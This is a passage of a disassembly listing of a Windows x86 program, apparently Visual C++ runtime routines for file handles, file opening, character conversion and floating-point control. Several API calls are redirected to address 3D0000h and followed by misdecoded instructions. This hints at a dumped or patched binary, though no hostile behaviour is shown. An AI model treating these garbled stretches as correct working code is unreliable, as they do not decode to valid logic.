		push	ds:off_4383BC[esi]
		lea	eax, [ebp+var_A0]
		push	eax
		call	sub_415BF0
		push	12010h
		lea	eax, [ebp+var_A0]
		push	offset aMicrosoftVisua ; "Microsoft Visual C++ Runtime Library"
		push	eax
		call	sub_41E6CE
		add	esp, 2Ch
		pop	edi
		jmp	short loc_41D049
; ---------------------------------------------------------------------------


loc_41D023:				; CODE XREF: sub_41CEF9+3Cj
					; sub_41CEF9+4Dj
		lea	eax, [ebp+arg_0]
		lea	esi, off_4383BC[esi]
		push	0
		push	eax
		push	dword ptr [esi]
		call	sub_415CD0
		pop	ecx
		push	eax
		push	dword ptr [esi]
		push	0FFFFFFF4h
		call	near ptr 3D0000h
		mov	ecx, 2FB8E850h
		sti
		inc	ecx


loc_41D049:				; CODE XREF: sub_41CEF9+2Ej
					; sub_41CEF9+59j ...
		pop	esi
		leave
		retn
sub_41CEF9	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D04C	proc near		; CODE XREF: sub_417C17+6Cp
					; sub_41B890+32p ...

arg_0		= dword	ptr  4

		inc	ds:dword_469634
		push	1000h
		call	sub_415DA9
		pop	ecx
		mov	ecx, [esp+arg_0]
		test	eax, eax
		mov	[ecx+8], eax
		jz	short loc_41D075
		or	dword ptr [ecx+0Ch], 8
		mov	dword ptr [ecx+18h], 1000h
		jmp	short loc_41D086
; ---------------------------------------------------------------------------


loc_41D075:				; CODE XREF: sub_41D04C+1Aj
		or	dword ptr [ecx+0Ch], 4
		lea	eax, [ecx+14h]
		mov	[ecx+8], eax
		mov	dword ptr [ecx+18h], 2


loc_41D086:				; CODE XREF: sub_41D04C+27j
		mov	eax, [ecx+8]
		and	dword ptr [ecx+4], 0
		mov	[ecx], eax
		retn
sub_41D04C	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D090	proc near		; CODE XREF: sub_417C17+61p
					; sub_418796+8p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		cmp	eax, ds:dword_46A8A0
		jb	short loc_41D09F
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_41D09F:				; CODE XREF: sub_41D090+Aj
		mov	ecx, eax
		and	eax, 1Fh
		sar	ecx, 5
		mov	ecx, ds:dword_46A7A0[ecx*4]
		mov	al, [ecx+eax*8+4]
		and	eax, 40h
		retn
sub_41D090	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D0B6	proc near		; DATA XREF: seg002:00423020o
		mov	eax, ds:dword_46A780
		push	esi
		push	14h
		test	eax, eax
		pop	esi
		jnz	short loc_41D0CA
		mov	eax, 200h
		jmp	short loc_41D0D0
; ---------------------------------------------------------------------------


loc_41D0CA:				; CODE XREF: sub_41D0B6+Bj
		cmp	eax, esi
		jge	short loc_41D0D5
		mov	eax, esi


loc_41D0D0:				; CODE XREF: sub_41D0B6+12j
		mov	ds:dword_46A780, eax


loc_41D0D5:				; CODE XREF: sub_41D0B6+16j
		push	4
		push	eax
		call	sub_41E757
		pop	ecx
		mov	ds:dword_469760, eax
		test	eax, eax
		pop	ecx
		jnz	short loc_41D109
		push	4
		push	esi
		mov	ds:dword_46A780, esi
		call	sub_41E757
		pop	ecx
		mov	ds:dword_469760, eax
		test	eax, eax
		pop	ecx
		jnz	short loc_41D109
		push	1Ah
		call	sub_417BCE
		pop	ecx


loc_41D109:				; CODE XREF: sub_41D0B6+30j
					; sub_41D0B6+49j
		xor	ecx, ecx
		mov	eax, offset off_438448


loc_41D110:				; CODE XREF: sub_41D0B6+6Ej
		mov	edx, ds:dword_469760
		mov	[ecx+edx], eax
		add	eax, 20h
		add	ecx, 4
		cmp	eax, offset dword_4386C8
		jl	short loc_41D110
		xor	edx, edx
		mov	ecx, offset dword_438458


loc_41D12D:				; CODE XREF: sub_41D0B6+A1j
		mov	eax, edx
		mov	esi, edx
		sar	eax, 5
		and	esi, 1Fh
		mov	eax, ds:dword_46A7A0[eax*4]
		mov	eax, [eax+esi*8]
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41D14A
		test	eax, eax
		jnz	short loc_41D14D


loc_41D14A:				; CODE XREF: sub_41D0B6+8Ej
		or	dword ptr [ecx], 0FFFFFFFFh


loc_41D14D:				; CODE XREF: sub_41D0B6+92j
		add	ecx, 20h
		inc	edx
		cmp	ecx, offset dword_4384B8
		jl	short loc_41D12D
		pop	esi
		retn
sub_41D0B6	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D15B	proc near		; DATA XREF: seg002:00423030o

; FUNCTION CHUNK AT 0041E7D4 SIZE 00000058 BYTES

		call	sub_418720
		cmp	ds:byte_4694B4,	0
		jz	short locret_41D16E
		jmp	loc_41E7D4
; ---------------------------------------------------------------------------

locret_41D16E:				; CODE XREF: sub_41D15B+Cj
		retn
sub_41D15B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D16F	proc near		; CODE XREF: sub_417D2C+2D4p
					; sub_417D2C+6B3p

arg_0		= dword	ptr  8
arg_4		= word ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		test	eax, eax
		jnz	short loc_41D17B
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_41D17B:				; CODE XREF: sub_41D16F+8j
		cmp	ds:dword_469508, 0
		jnz	short loc_41D196
		mov	cx, [ebp+arg_4]
		cmp	cx, 0FFh
		ja	short loc_41D1C8
		push	1
		mov	[eax], cl
		pop	eax
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_41D196:				; CODE XREF: sub_41D16F+13j
		lea	ecx, [ebp+arg_0]
		and	[ebp+arg_0], 0
		push	ecx
		push	0
		push	ds:dword_437F5C
		push	eax
		lea	eax, [ebp+arg_4]
		push	1
		push	eax
		push	220h
		push	ds:dword_469518
		call	ds:dword_421138	; WideCharToMultiByte
		test	eax, eax
		jz	short loc_41D1C8
		cmp	[ebp+arg_0], 0
		jz	short loc_41D1D5


loc_41D1C8:				; CODE XREF: sub_41D16F+1Ej
					; sub_41D16F+51j
		mov	ds:dword_469474, 2Ah
		or	eax, 0FFFFFFFFh


loc_41D1D5:				; CODE XREF: sub_41D16F+57j
		pop	ebp
		retn
sub_41D16F	endp

; ---------------------------------------------------------------------------


loc_41D1D7:				; CODE XREF: sub_418536+5Ep
					; sub_41C1DF+9Ap
		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_421B80
		push	offset sub_41CDE8
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 18h
		push	ebx
		push	esi
		push	edi
		mov	[ebp-18h], esp
		mov	eax, ds:dword_469638
		xor	ebx, ebx
		cmp	eax, ebx
		jnz	short loc_41D246
		lea	eax, [ebp-1Ch]
		push	eax
		push	1
		pop	esi
		push	esi
		push	offset dword_421870
		push	esi
		call	ds:dword_421028	; GetStringTypeW
		test	eax, eax
		jz	short loc_41D224
		mov	eax, esi
		jmp	short loc_41D241
; ---------------------------------------------------------------------------


loc_41D224:				; CODE XREF: seg000:0041D21Ej
		lea	eax, [ebp-1Ch]
		push	eax
		push	esi
		push	offset dword_438FB4
		push	esi
		push	ebx
		call	near ptr 3D0000h
		mov	[ebp-317BF040h], eax
; ---------------------------------------------------------------------------
		db 0
		dd 26A0000h
; ---------------------------------------------------------------------------
		pop	eax


loc_41D241:				; CODE XREF: seg000:0041D222j
		mov	ds:dword_469638, eax


loc_41D246:				; CODE XREF: seg000:0041D206j
		cmp	eax, 2
		jnz	short loc_41D26F
		mov	eax, [ebp+1Ch]
		cmp	eax, ebx
		jnz	short loc_41D257
		mov	eax, ds:dword_469508


loc_41D257:				; CODE XREF: seg000:0041D250j
		push	dword ptr [ebp+14h]
		push	dword ptr [ebp+10h]
		push	dword ptr [ebp+0Ch]
		push	dword ptr [ebp+8]
		push	eax
		call	near ptr 3D0000h
		in	al, 0E9h
		lahf
; ---------------------------------------------------------------------------
		db 3 dup(0)
; ---------------------------------------------------------------------------


loc_41D26F:				; CODE XREF: seg000:0041D249j
		cmp	eax, 1
		jnz	loc_41D30C
		cmp	[ebp+18h], ebx
		jnz	short loc_41D285
		mov	eax, ds:dword_469518
		mov	[ebp+18h], eax


loc_41D285:				; CODE XREF: seg000:0041D27Bj
		push	ebx
		push	ebx
		push	dword ptr [ebp+10h]
		push	dword ptr [ebp+0Ch]
		mov	eax, [ebp+20h]
		neg	eax
		sbb	eax, eax
		and	eax, 8
		inc	eax
		push	eax
		push	dword ptr [ebp+18h]
		call	ds:dword_421064	; MultiByteToWideChar
		mov	[ebp-20h], eax
		cmp	eax, ebx
		jz	short loc_41D30C
		mov	[ebp-4], ebx
		lea	edi, [eax+eax]
		mov	eax, edi
		add	eax, 3
		and	al, 0FCh
		call	sub_415D50
		mov	[ebp-18h], esp
		mov	esi, esp
		mov	[ebp-24h], esi
		push	edi
		push	ebx
		push	esi
		call	sub_415550
		add	esp, 0Ch
		jmp	short loc_41D2DB
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp-18h]
		xor	ebx, ebx
		xor	esi, esi


loc_41D2DB:				; CODE XREF: seg000:0041D2CEj
		or	dword ptr [ebp-4], 0FFFFFFFFh
		cmp	esi, ebx
		jz	short loc_41D30C
		push	dword ptr [ebp-20h]
		push	esi
		push	dword ptr [ebp+10h]
		push	dword ptr [ebp+0Ch]
		push	1
		push	dword ptr [ebp+18h]
		call	ds:dword_421064	; MultiByteToWideChar
		cmp	eax, ebx
		jz	short loc_41D30C
		push	dword ptr [ebp+14h]
		push	eax
		push	esi
		push	dword ptr [ebp+8]
		call	ds:dword_421028	; GetStringTypeW
		jmp	short loc_41D30E
; ---------------------------------------------------------------------------


loc_41D30C:				; CODE XREF: seg000:0041D272j
					; seg000:0041D2A7j ...
		xor	eax, eax


loc_41D30E:				; CODE XREF: seg000:0041D30Aj
		lea	esp, [ebp-34h]
		mov	ecx, [ebp-10h]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn

; =============== S U B	R O U T	I N E =======================================



sub_41D320	proc near		; CODE XREF: sub_41D53A:loc_41D6B2p
		push	ebx
		push	esi
		push	edi
		or	ebx, 0FFFFFFFFh
		xor	edi, edi
		xor	esi, esi
		mov	ecx, offset dword_46A7A0


loc_41D32F:				; CODE XREF: sub_41D320+48j
		mov	eax, [ecx]
		test	eax, eax
		jz	short loc_41D36C
		lea	edx, [eax+100h]


loc_41D33B:				; CODE XREF: sub_41D320+28j
		cmp	eax, edx
		jnb	short loc_41D35B
		test	byte ptr [eax+4], 1
		jz	short loc_41D34A
		add	eax, 8
		jmp	short loc_41D33B
; ---------------------------------------------------------------------------


loc_41D34A:				; CODE XREF: sub_41D320+23j
		or	dword ptr [eax], 0FFFFFFFFh
		sub	eax, [ecx]
		sar	eax, 3
		add	eax, esi
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jnz	short loc_41D3AF


loc_41D35B:				; CODE XREF: sub_41D320+1Dj
		add	ecx, 4
		inc	edi
		add	esi, 20h
		cmp	ecx, offset dword_46A8A0
		jl	short loc_41D32F
		jmp	short loc_41D3AF
; ---------------------------------------------------------------------------


loc_41D36C:				; CODE XREF: sub_41D320+13j
		mov	esi, 100h
		push	esi
		call	sub_415DA9
		test	eax, eax
		pop	ecx
		jz	short loc_41D3AF
		add	ds:dword_46A8A0, 20h
		lea	ecx, ds:46A7A0h[edi*4]
		lea	edx, [eax+100h]
		mov	[ecx], eax


loc_41D392:				; CODE XREF: sub_41D320+88j
		cmp	eax, edx
		jnb	short loc_41D3AA
		and	byte ptr [eax+4], 0
		or	dword ptr [eax], 0FFFFFFFFh
		mov	byte ptr [eax+5], 0Ah
		mov	edx, [ecx]
		add	eax, 8
		add	edx, esi
		jmp	short loc_41D392
; ---------------------------------------------------------------------------


loc_41D3AA:				; CODE XREF: sub_41D320+74j
		shl	edi, 5
		mov	ebx, edi


loc_41D3AF:				; CODE XREF: sub_41D320+39j
					; sub_41D320+4Aj ...
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
sub_41D320	endp

; ---------------------------------------------------------------------------


loc_41D3B5:				; CODE XREF: sub_41D53A+1F4p
		mov	eax, [esp+4]
		push	esi
		cmp	eax, ds:dword_46A8A0
		push	edi
		jnb	short loc_41D415
		mov	ecx, eax
		mov	esi, eax
		sar	ecx, 5
		and	esi, 1Fh
		lea	edi, ds:46A7A0h[ecx*4]
		shl	esi, 3
		mov	ecx, [edi]
		cmp	dword ptr [ecx+esi], 0FFFFFFFFh
		jnz	short loc_41D415
		cmp	ds:dword_437D44, 1
		push	ebx
		mov	ebx, [esp+14h]
		jnz	short near ptr loc_41D40A+1
		sub	eax, 0
		jz	short loc_41D402
		dec	eax
		jz	short loc_41D3FD
		dec	eax
		jnz	short near ptr loc_41D40A+1
		push	ebx
		push	0FFFFFFF4h
		jmp	short loc_41D405
; ---------------------------------------------------------------------------


loc_41D3FD:				; CODE XREF: seg000:0041D3F3j
		push	ebx
		push	0FFFFFFF5h
		jmp	short loc_41D405
; ---------------------------------------------------------------------------


loc_41D402:				; CODE XREF: seg000:0041D3F0j
		push	ebx
		push	0FFFFFFF6h


loc_41D405:				; CODE XREF: seg000:0041D3FBj
					; seg000:0041D400j
		call	near ptr 3D0000h


loc_41D40A:				; CODE XREF: seg000:0041D3EBj
					; seg000:0041D3F6j
		test	[ebx+301C8907h], cl
		xor	eax, eax
		pop	ebx
		jmp	short loc_41D429
; ---------------------------------------------------------------------------


loc_41D415:				; CODE XREF: seg000:0041D3C1j
					; seg000:0041D3DDj
		and	ds:dword_469478, 0
		mov	ds:dword_469474, 9
		or	eax, 0FFFFFFFFh


loc_41D429:				; CODE XREF: seg000:0041D413j
		pop	edi
		pop	esi
		retn

; =============== S U B	R O U T	I N E =======================================



sub_41D42C	proc near		; CODE XREF: sub_4185AB+7Cp

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		push	esi
		cmp	ecx, ds:dword_46A8A0
		push	edi
		jnb	short loc_41D48F
		mov	eax, ecx
		mov	esi, ecx
		sar	eax, 5
		and	esi, 1Fh
		lea	edi, ds:46A7A0h[eax*4]
		shl	esi, 3
		mov	eax, [edi]
		add	eax, esi
		test	byte ptr [eax+4], 1
		jz	short loc_41D48F
		cmp	dword ptr [eax], 0FFFFFFFFh
		jz	short loc_41D48F
		cmp	ds:dword_437D44, 1
		jnz	short near ptr loc_41D484+1
		xor	eax, eax
		sub	ecx, eax
		jz	short loc_41D47C
		dec	ecx
		jz	short loc_41D477
		dec	ecx
		jnz	short near ptr loc_41D484+1
		push	eax
		push	0FFFFFFF4h
		jmp	short loc_41D47F
; ---------------------------------------------------------------------------


loc_41D477:				; CODE XREF: sub_41D42C+41j
		push	eax
		push	0FFFFFFF5h
		jmp	short loc_41D47F
; ---------------------------------------------------------------------------


loc_41D47C:				; CODE XREF: sub_41D42C+3Ej
		push	eax
		push	0FFFFFFF6h


loc_41D47F:				; CODE XREF: sub_41D42C+49j
					; sub_41D42C+4Ej
		call	near ptr 3D0000h


loc_41D484:				; CODE XREF: sub_41D42C+38j
					; sub_41D42C+44j
		add	ecx, [ebx+300C8307h]
		push	dword ptr [ebx]
		shr	bl, 14h


loc_41D48F:				; CODE XREF: sub_41D42C+Cj
					; sub_41D42C+2Aj ...
		and	ds:dword_469478, 0
		mov	ds:dword_469474, 9
		or	eax, 0FFFFFFFFh
		pop	edi
		pop	esi
		retn
sub_41D42C	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D4A6	proc near		; CODE XREF: sub_4185AB+32p
					; sub_4185AB+49p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		cmp	eax, ds:dword_46A8A0
		jnb	short loc_41D4CE
		mov	ecx, eax
		and	eax, 1Fh
		sar	ecx, 5
		mov	ecx, ds:dword_46A7A0[ecx*4]
		test	byte ptr [ecx+eax*8+4],	1
		lea	eax, [ecx+eax*8]
		jz	short loc_41D4CE
		mov	eax, [eax]
		retn
; ---------------------------------------------------------------------------


loc_41D4CE:				; CODE XREF: sub_41D4A6+Aj
					; sub_41D4A6+23j
		and	ds:dword_469478, 0
		mov	ds:dword_469474, 9
		or	eax, 0FFFFFFFFh
		retn
sub_41D4A6	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D4E3	proc near		; CODE XREF: sub_418689+2Bp

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		cmp	eax, ds:dword_46A8A0
		jnb	short loc_41D52C
		mov	ecx, eax
		mov	edx, eax
		sar	ecx, 5
		and	edx, 1Fh
		mov	ecx, ds:dword_46A7A0[ecx*4]
		test	byte ptr [ecx+edx*8+4],	1
		jz	short loc_41D52C
		push	eax
		call	sub_41D4A6
		pop	ecx
		push	eax
		call	near ptr 3D0000h
		xchg	al, [ebp-0F78A40h]
		adc	eax, offset dword_421088
		jmp	short loc_41D523
; ---------------------------------------------------------------------------
		xor	eax, eax


loc_41D523:				; CODE XREF: sub_41D4E3+3Cj
		test	eax, eax
		jz	short locret_41D539
		mov	ds:dword_469478, eax


loc_41D52C:				; CODE XREF: sub_41D4E3+Aj
					; sub_41D4E3+22j
		mov	ds:dword_469474, 9
		or	eax, 0FFFFFFFFh

locret_41D539:				; CODE XREF: sub_41D4E3+42j
		retn
sub_41D4E3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D53A	proc near		; CODE XREF: sub_418860+13Fp

var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_1		= byte ptr -1
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_13		= byte ptr  1Bh

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		mov	ecx, [ebp+arg_4]
		push	ebx
		xor	ebx, ebx
		push	esi
		test	cl, 80h
		push	edi
		mov	[ebp+var_1C], 0Ch
		mov	[ebp+var_18], ebx
		jz	short loc_41D560
		mov	[ebp+var_14], ebx
		mov	[ebp+var_1], 10h
		jmp	short loc_41D56B
; ---------------------------------------------------------------------------


loc_41D560:				; CODE XREF: sub_41D53A+1Bj
		and	[ebp+var_1], 0
		mov	[ebp+var_14], 1


loc_41D56B:				; CODE XREF: sub_41D53A+24j
		mov	eax, 8000h
		test	ecx, eax
		jnz	short loc_41D585
		test	ch, 40h
		jnz	short loc_41D581
		cmp	ds:dword_469740, eax
		jz	short loc_41D585


loc_41D581:				; CODE XREF: sub_41D53A+3Dj
		or	[ebp+var_1], 80h


loc_41D585:				; CODE XREF: sub_41D53A+38j
					; sub_41D53A+45j
		push	3
		mov	eax, ecx
		pop	esi
		and	eax, esi
		sub	eax, ebx
		jz	short loc_41D5BD
		dec	eax
		jz	short loc_41D5B4
		dec	eax
		jz	short loc_41D5AB


loc_41D596:				; CODE XREF: sub_41D53A+9Fj
					; sub_41D53A+E8j ...
		mov	ds:dword_469474, 16h
		mov	ds:dword_469478, ebx
		jmp	loc_41D7D0
; ---------------------------------------------------------------------------


loc_41D5AB:				; CODE XREF: sub_41D53A+5Aj
		mov	[ebp+var_C], 0C0000000h
		jmp	short loc_41D5C4
; ---------------------------------------------------------------------------


loc_41D5B4:				; CODE XREF: sub_41D53A+57j
		mov	[ebp+var_C], 40000000h
		jmp	short loc_41D5C4
; ---------------------------------------------------------------------------


loc_41D5BD:				; CODE XREF: sub_41D53A+54j
		mov	[ebp+var_C], 80000000h


loc_41D5C4:				; CODE XREF: sub_41D53A+78j
					; sub_41D53A+81j
		mov	eax, [ebp+arg_8]
		cmp	eax, 10h
		jz	short loc_41D5F2
		cmp	eax, 20h
		jz	short loc_41D5E9
		cmp	eax, 30h
		jz	short loc_41D5E0
		cmp	eax, 40h
		jnz	short loc_41D596
		mov	[ebp+var_10], esi
		jmp	short loc_41D5F5
; ---------------------------------------------------------------------------


loc_41D5E0:				; CODE XREF: sub_41D53A+9Aj
		mov	[ebp+var_10], 2
		jmp	short loc_41D5F5
; ---------------------------------------------------------------------------


loc_41D5E9:				; CODE XREF: sub_41D53A+95j
		mov	[ebp+var_10], 1
		jmp	short loc_41D5F5
; ---------------------------------------------------------------------------


loc_41D5F2:				; CODE XREF: sub_41D53A+90j
		mov	[ebp+var_10], ebx


loc_41D5F5:				; CODE XREF: sub_41D53A+A4j
					; sub_41D53A+ADj ...
		mov	edx, 700h
		mov	eax, 400h
		and	ecx, edx
		mov	edi, 100h
		cmp	ecx, eax
		jg	short loc_41D63F
		jz	short loc_41D63A
		cmp	ecx, ebx
		jz	short loc_41D63A
		cmp	ecx, edi
		jz	short loc_41D631
		cmp	ecx, 200h
		jz	short loc_41D658
		cmp	ecx, 300h
		jnz	loc_41D596
		mov	[ebp+var_8], 2
		jmp	short loc_41D668
; ---------------------------------------------------------------------------


loc_41D631:				; CODE XREF: sub_41D53A+D8j
		mov	[ebp+var_8], 4
		jmp	short loc_41D668
; ---------------------------------------------------------------------------


loc_41D63A:				; CODE XREF: sub_41D53A+D0j
					; sub_41D53A+D4j
		mov	[ebp+var_8], esi
		jmp	short loc_41D668
; ---------------------------------------------------------------------------


loc_41D63F:				; CODE XREF: sub_41D53A+CEj
		cmp	ecx, 500h
		jz	short loc_41D661
		cmp	ecx, 600h
		jz	short loc_41D658
		cmp	ecx, edx
		jz	short loc_41D661
		jmp	loc_41D596
; ---------------------------------------------------------------------------


loc_41D658:				; CODE XREF: sub_41D53A+E0j
					; sub_41D53A+113j
		mov	[ebp+var_8], 5
		jmp	short loc_41D668
; ---------------------------------------------------------------------------


loc_41D661:				; CODE XREF: sub_41D53A+10Bj
					; sub_41D53A+117j
		mov	[ebp+var_8], 1


loc_41D668:				; CODE XREF: sub_41D53A+F5j
					; sub_41D53A+FEj ...
		mov	eax, [ebp+arg_4]
		mov	esi, 80h
		test	eax, edi
		jz	short loc_41D687
		mov	ecx, ds:dword_46947C
		not	ecx
		and	ecx, [ebp+arg_C]
		test	cl, 80h
		jnz	short loc_41D687
		push	1
		pop	esi


loc_41D687:				; CODE XREF: sub_41D53A+138j
					; sub_41D53A+148j
		test	al, 40h
		jz	short loc_41D695
		or	esi, 4000000h
		or	byte ptr [ebp+var_C+2],	1


loc_41D695:				; CODE XREF: sub_41D53A+14Fj
		test	ah, 10h
		jz	short loc_41D69C
		or	esi, edi


loc_41D69C:				; CODE XREF: sub_41D53A+15Ej
		test	al, 20h
		jz	short loc_41D6A8
		or	esi, 8000000h
		jmp	short loc_41D6B2
; ---------------------------------------------------------------------------


loc_41D6A8:				; CODE XREF: sub_41D53A+164j
		test	al, 10h
		jz	short loc_41D6B2
		or	esi, 10000000h


loc_41D6B2:				; CODE XREF: sub_41D53A+16Cj
					; sub_41D53A+170j
		call	sub_41D320
		mov	ebx, eax
		or	edi, 0FFFFFFFFh
		cmp	ebx, edi
		jnz	short loc_41D6D3
		and	ds:dword_469478, 0
		mov	ds:dword_469474, 18h
		jmp	short loc_41D711
; ---------------------------------------------------------------------------


loc_41D6D3:				; CODE XREF: sub_41D53A+184j
		push	0
		push	esi
		push	[ebp+var_8]
		lea	eax, [ebp+var_1C]
		push	eax
		push	[ebp+var_10]
		push	[ebp+var_C]
		push	[ebp+arg_0]
		call	ds:dword_421078	; CreateFileA
		mov	esi, eax
		cmp	esi, edi
		jz	short loc_41D704
		push	esi
		call	near ptr 3D0000h
		in	eax, 85h
		sal	[ebp+arg_13], 56h
		call	ds:dword_42106C	; CloseHandle


loc_41D704:				; CODE XREF: sub_41D53A+1B6j
		call	ds:dword_421088	; RtlGetLastWin32Error
		push	eax
		call	sub_41C5B7
		pop	ecx


loc_41D711:				; CODE XREF: sub_41D53A+197j
		mov	eax, edi
		jmp	loc_41D7EE
; ---------------------------------------------------------------------------
		cmp	eax, 2
		jnz	short loc_41D723
		or	[ebp+var_1], 40h
		jmp	short loc_41D72C
; ---------------------------------------------------------------------------


loc_41D723:				; CODE XREF: sub_41D53A+1E1j
		cmp	eax, 3
		jnz	short loc_41D72C
		or	[ebp+var_1], 8


loc_41D72C:				; CODE XREF: sub_41D53A+1E7j
					; sub_41D53A+1ECj
		push	esi
		push	ebx
		call	loc_41D3B5
		pop	ecx
		mov	al, [ebp+var_1]
		pop	ecx
		mov	esi, ebx
		mov	ecx, ebx
		or	al, 1
		sar	ecx, 5
		and	esi, 1Fh
		mov	byte ptr [ebp+arg_0+3],	al
		lea	edi, ds:46A7A0h[ecx*4]
		shl	esi, 3
		mov	ecx, [edi]
		and	byte ptr [ebp+arg_0+3],	48h
		mov	[ecx+esi+4], al
		jnz	short loc_41D7D5
		test	al, 80h
		jz	short loc_41D7D5
		test	byte ptr [ebp+arg_4], 2
		jz	short loc_41D7D5
		push	2
		push	0FFFFFFFFh
		push	ebx
		call	sub_41BB5F
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_10], eax
		jnz	short loc_41D78A
		cmp	ds:dword_469478, 83h
		jz	short loc_41D7D5
		jmp	short loc_41D7C9
; ---------------------------------------------------------------------------


loc_41D78A:				; CODE XREF: sub_41D53A+240j
		and	byte ptr [ebp+arg_8+3],	0
		lea	eax, [ebp+arg_8+3]
		push	1
		push	eax
		push	ebx
		call	sub_41B969
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_41D7B7
		cmp	byte ptr [ebp+arg_8+3],	1Ah
		jnz	short loc_41D7B7
		push	[ebp+var_10]
		push	ebx
		call	sub_41E82C
		pop	ecx
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_41D7C9


loc_41D7B7:				; CODE XREF: sub_41D53A+265j
					; sub_41D53A+26Bj
		push	0
		push	0
		push	ebx
		call	sub_41BB5F
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_41D7D5


loc_41D7C9:				; CODE XREF: sub_41D53A+24Ej
					; sub_41D53A+27Bj
		push	ebx
		call	sub_4185AB
		pop	ecx


loc_41D7D0:				; CODE XREF: sub_41D53A+6Cj
		or	eax, 0FFFFFFFFh
		jmp	short loc_41D7EE
; ---------------------------------------------------------------------------


loc_41D7D5:				; CODE XREF: sub_41D53A+221j
					; sub_41D53A+225j ...
		cmp	byte ptr [ebp+arg_0+3],	0
		jnz	short loc_41D7EC
		test	byte ptr [ebp+arg_4], 8
		jz	short loc_41D7EC
		mov	eax, [edi]
		or	byte ptr [eax+esi+4], 20h
		lea	eax, [eax+esi+4]


loc_41D7EC:				; CODE XREF: sub_41D53A+29Fj
					; sub_41D53A+2A5j
		mov	eax, ebx


loc_41D7EE:				; CODE XREF: sub_41D53A+1D9j
					; sub_41D53A+299j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41D53A	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D7F3	proc near		; CODE XREF: sub_419B93+52p
		xor	eax, eax
		retn
sub_41D7F3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D7F6	proc near		; CODE XREF: sub_41D82B+Ep

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	esi
		fstcw	word ptr [ebp+var_4]
		push	[ebp+var_4]
		call	sub_41D841
		mov	esi, eax
		mov	eax, [ebp+arg_4]
		not	eax
		and	esi, eax
		mov	eax, [ebp+arg_0]
		and	eax, [ebp+arg_4]
		or	esi, eax
		push	esi
		call	sub_41D8D3
		pop	ecx
		mov	[ebp+arg_4], eax
		pop	ecx
		fldcw	word ptr [ebp+arg_4]
		mov	eax, esi
		pop	esi
		leave
		retn
sub_41D7F6	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D82B	proc near		; CODE XREF: sub_419E7F+Ap

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		and	eax, 0FFF7FFFFh
		push	eax
		push	[esp+4+arg_0]
		call	sub_41D7F6
		pop	ecx
		pop	ecx
		retn
sub_41D82B	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D841	proc near		; CODE XREF: sub_41D7F6+Cp

arg_0		= dword	ptr  4

		push	ebx
		mov	ebx, [esp+4+arg_0]
		xor	eax, eax
		push	ebp
		test	bl, 1
		push	edi
		jz	short loc_41D852
		push	10h
		pop	eax


loc_41D852:				; CODE XREF: sub_41D841+Cj
		test	bl, 4
		jz	short loc_41D859
		or	al, 8


loc_41D859:				; CODE XREF: sub_41D841+14j
		test	bl, 8
		jz	short loc_41D860
		or	al, 4


loc_41D860:				; CODE XREF: sub_41D841+1Bj
		test	bl, 10h
		jz	short loc_41D867
		or	al, 2


loc_41D867:				; CODE XREF: sub_41D841+22j
		test	bl, 20h
		jz	short loc_41D86E
		or	al, 1


loc_41D86E:				; CODE XREF: sub_41D841+29j
		test	bl, 2
		jz	short loc_41D878
		or	eax, 80000h


loc_41D878:				; CODE XREF: sub_41D841+30j
		movzx	ecx, bx
		push	esi
		mov	edx, ecx
		mov	esi, 0C00h
		mov	edi, 300h
		and	edx, esi
		mov	ebp, 200h
		jz	short loc_41D8B0
		cmp	edx, 400h
		jz	short loc_41D8AD
		cmp	edx, 800h
		jz	short loc_41D8A9
		cmp	edx, esi
		jnz	short loc_41D8B0
		or	eax, edi
		jmp	short loc_41D8B0
; ---------------------------------------------------------------------------


loc_41D8A9:				; CODE XREF: sub_41D841+5Ej
		or	eax, ebp
		jmp	short loc_41D8B0
; ---------------------------------------------------------------------------


loc_41D8AD:				; CODE XREF: sub_41D841+56j
		or	ah, 1


loc_41D8B0:				; CODE XREF: sub_41D841+4Ej
					; sub_41D841+62j ...
		and	ecx, edi
		pop	esi
